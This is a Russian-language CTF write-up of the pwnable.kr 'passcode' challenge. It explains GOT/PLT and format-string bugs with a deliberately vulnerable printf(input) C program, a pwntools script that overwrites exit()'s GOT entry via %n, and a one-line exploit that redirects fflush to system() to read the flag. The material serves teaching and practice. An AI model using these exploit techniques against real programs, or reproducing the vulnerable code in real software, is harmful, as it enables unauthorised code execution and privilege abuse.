Pull to refresh

Решение задания с pwnable.kr 05 — passcode. Перезапись таблицы связей процедур через уязвимость форматной строки

Reading time 7 min
Views 4.2K
image

В данной статье разберем: что такое глобальная таблица смещений, таблицей связей процедур и ее перезапись через уязвимость форматной строки. Также решим 5-е задание с сайта pwnable.kr.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Глобальная таблица смещений и таблица связи процедур


Динамически связанные библиотеки загружаются из отдельного файла в память во время загрузки или во время выполнения. И, следовательно, их адреса в памяти не являются фиксированными, чтобы избежать конфликтов памяти с другими библиотеками. Кроме того, механизм безопасности ASLR, будет рандомизировать адрес каждого модуля во время загрузки.

Глобальная таблица смещений (GOT — Global Offset Table) — таблица адресов, хранящихся в разделе данных. Она используется во время выполнения программы для поиска адресов глобальных переменных, которые были неизвестны во время компиляции. Эта таблица находится в разделе данных и не используется всеми процессами. Все абсолютные адреса, на которые ссылается секция кода, хранятся в этой таблице GOT. Раздел кода использует относительные смещения для доступа к этим абсолютным адресам. И, таким образом, код библиотеки может совместно использоваться процессами, даже если они загружены в разные адресные пространства памяти.

Таблица связи процедур (PLT — Procedure Linkage Table) содержит код перехода для вызова общих функций, адреса которых хранятся в GOT, т.е PLT содержит адреса, по которым хранятся адреса для данных (адресов) из GOT.

Рассмотрим механизм на примере:

  1. В коде программы вызывается внешняя функция printf.
  2. Поток управления переходит на n-ую запись в PLT, причем переход происходит по относительному смещению, а не абсолютному адресу.
  3. Осуществляется переход на адрес, сохраненный в GOT. Указатель функции, сохраненный в таблице GOT, сначала указывает обратно на фрагмент кода PLT.
  4. Таким образом, если printf вызывается впервые, то вызывается преобразователь динамического компоновщика для получения фактического адреса целевой функции.
  5. Адрес printf записывается в таблицу GOT, а затем вызывается printf.
  6. Если printf вызывается снова в коде, распознаватель больше не будет вызываться, потому что адрес printf уже сохранен в GOT.

image

При использовании этой отложенной привязки указатели на функции, которые не используются во время выполнения, не разрешаются. Таким образом, это экономит много времени.

Для того, чтобы данный механизм работал, в файле присутствуют следующие секции:

  • .got — содержит записи для GOT;
  • .рlt — содержит записи для PLT;
  • .got.plt — содержит соотношения адресов GOT — PLT;
  • .plt.got — содержит соотношения адресов PLT — GOT.

Так как секция .got.plt представляет собой массив указателей и заполняется во время выполнения программы (т.е. в ней разрешена запись), то мы можем перезаписать один и них и контролировать поток выполнения программы.

Строка форматирования


Строка форматирования представляет собой строку с использованием спецификаторов формата. Признаком спецификатора формата является символ “%” (чтобы ввести знак процента используют последовательность “%%”).

pritntf(“output %s 123”, “str”);

output str 123

Наиболее важные спецификаторы формата:

  • d — десятичное знаковое число, размер по умолчанию, sizeof( int );
  • x и X — шестнадцатеричное беззнаковое число, x использует маленькие буквы (abcdef), X большие (ABCDEF), размер по умолчанию sizeof( int );
  • s — вывод строки с нулевым завершающим байтом;
  • n — количество символов, записанных на момент появления командной последовательности, содержащей n.

Почему возможна уязвимость форматной строки


Данная уязвимость заключается в использовании одной из функций форматного вывода без указания формата (как в следующем примере). Таким образом мы сами можем указывать формат вывода, что приводит к возможности чтения значений из стека, а при указании специального формата, и к записи в память.

Рассмотрим уязвимость на следующем примере:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
   char input[100];
   printf("Start program!!!\n");
   printf("Input: ");
   scanf("%s", &input);
   printf("\nYour input: ");
   printf(input);
   printf("\n");
   exit(0);
}

Таким образом, в следующей строке не указан формат вывода.

printf(input);

Скомпилируем программу.

gcc vuln1.c -o vuln -no-pie

Давайте просмотрим значения в стеке, введя строку, содержащую спецификаторы формата.

image

Таким образом, при вызове printf(input) срабатывает следующий вызов:

printf(“%p-%p-%p-%p-%p“);

Осталось понять что выводит программа. Функция printf имеет несколько аргументов, которые представляют собой данные для форматной строки.

Рассмотрим пример вызова функции со следующими аргументами:

printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);

При вызове данной функции, стек будет выглядеть следующим образом.

image

Таким образом, функция при обнаружении спецификатора формата извлекает и стека значение. Точно также функция из нашего примера извлечет 5 значений из стека.

image

Для подтверждения выше сказанного найдем нашу форматную строку в стеке.

image

При переводе значений из hex-вида получаем строку “%-p%AAAA“. То есть мы смогли достать значения из стека.

Перезапись GOT


Давайте проверим возможность перезаписи GOT через уязвимость форматной строки. Для того давайте зациклим нашу программу, переписав адрес функции exit() на адрес main. Перезаписывать будем с помощью pwntools. Создадим первоначальный макет и повторим предыдущий ввод.

from pwn import *
from struct import *

ex = process('./vuln')

payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p"

ex.sendline(payload)

ex.interactive()

image

Но так как в зависимости от размера введенной строки содержание стека будет разным, сделаем так, чтобы вводимая нагрузка содержала всегда одинаковое количество введенных символов.

payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

image

payload = ("%p-%p-%p-%p").ljust(64, ”*”)

image

Теперь нам необходимо узнать GOT адрес функций exit(), и адрес функции main. Адрес main найдем с помощью gdb.

image

GOT адрес exit() можно найти как с помощью gdb, так и с помощью objdump.

image

image

objdump -R vuln

image

Запишем в нашу программу эти адреса.

main_addr = 0x401162
exit_addr = 0x404038

Теперь нужно перезаписать адрес. Для в стек нужно добавить адрес функции exit() и адреса, которые находятся после, т.е. *(exit())+1 и т.д. Добавить его можно с помощью нашей нагрузки.

payload = ("%p-%p-%p-%p-"*5).ljust(64, "*")
payload += pack("Q", exit_addr)
payload += pack("Q", exit_addr+1)

Запустим и определим, каким по счету отображается адрес.

image

Данные адреса отображаются на позициях 14 и 15. Вывести значение на определенной позиции можно следующим образом.

payload = ("%14$p").ljust(64, "*")

image

Перезаписывать адрес будем двумя блоками. Для начала выведем 4 значения так, чтобы на 2-й и 4-й позициях оказались наши адреса.

payload = ("%p%14$p%p%15$p").ljust(64, "*")

image

Теперь разобьем адрес main() на два блока:
0x401162

1) 0x62 = 98 (пишем по адресу 0x404038)
2) 0x4011 — 0x62 = 16303 (пишем по адресу 0x404039)


Запишем их следующим образом:

payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')

Полный код:

from pwn import *
from struct import *

start_addr = 0x401162
exit_addr = 0x404038

ex = process('./vuln')

payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
payload += pack("Q", exit_addr)
payload += pack("Q", exit_addr+1)

ex.sendline(payload)

ex.interactive()

image

Таким образом, программа вместо завершения запускается заново. Мы перезаписали адрес exit().

Решение задания passcode


Нажимаем на первую иконку с подписью passcode, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соотвтствующий баннер.

image

Давайте узнаем какие файлы есть на сервере, а также какие мы имеем права.

ls -l

image

Таким образом мы можем можем прочитать исходный код программы, так как есть право читать для всех, и выполнить с правами владельца программу passcode (установлен sticky-бит). Давай просмотрим исход код.

image

В функции login() допущена ошибка. В scanf() вторым аргументам передается не адрес переменной &passcode1, а сама переменная, причем не проинициализированная. Так как переменная еще не проинициализирована, то она содержит не перезаписанный “мусор”, который остался после выполнения прошлых инструкций. То есть scanf() запишет число по адресу, который собой будет представлять остаточные данные.

image

Таким образом, если до вызова функции login, мы можем получить управление над этой областью памяти, то мы сможем записать любое число по любому адресу (фактически изменить логику программы).

Так как функция login() вызывается сразу после функции welcome(), то они имеют одинаковые адреса стековых кадров.

image

Давайте проверим, можем ли мы записать данные на место будущего passcode1. Открываем программу в gdb и дизассемблируем функции login() и welcome(). Так как в обоих случаях scanf имеет два параметра, то адрес переменной будет передаваться в функцию первым. Таким образом, адрес переменной passcode1 равен ebp-0x10, а name — ebp-0x70.

image

image

Теперь вычислим адрес passcode1 относительно name, при условии одного и того же значения ebp:
(&name) — (&passcode1) = (ebp-0x70) — (ebp-0x10) = -96
&passcode1 == &name + 96
То есть последние 4 байта name — то и есть “мусор”, который будет выступать в качестве адреса для записи в функции login.

В статье мы видели, как можно изменить логику работы приложения, переписав адреса в GOT. Давайте сделаем это и здесь. Так как за scanf() идет flush, то по адресу этой функции в GOT, запишем адрес инструкции вызова функции system() для чтения флага.

image

image

image

То есть по адресу 0x804a004 нужно записать 0x80485e3 в десятичном виде.

python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

image

Как результат, получаем 10 очков, пока что это самое сложное задание.

image

Файлы к данной статье прикреплены в Telegram канале. До встречи в следующих статьях!

Мы в телеграм канале: канал в Telegram.
Tags:
Hubs:
+14
Comments 0
Comments Leave a comment

Articles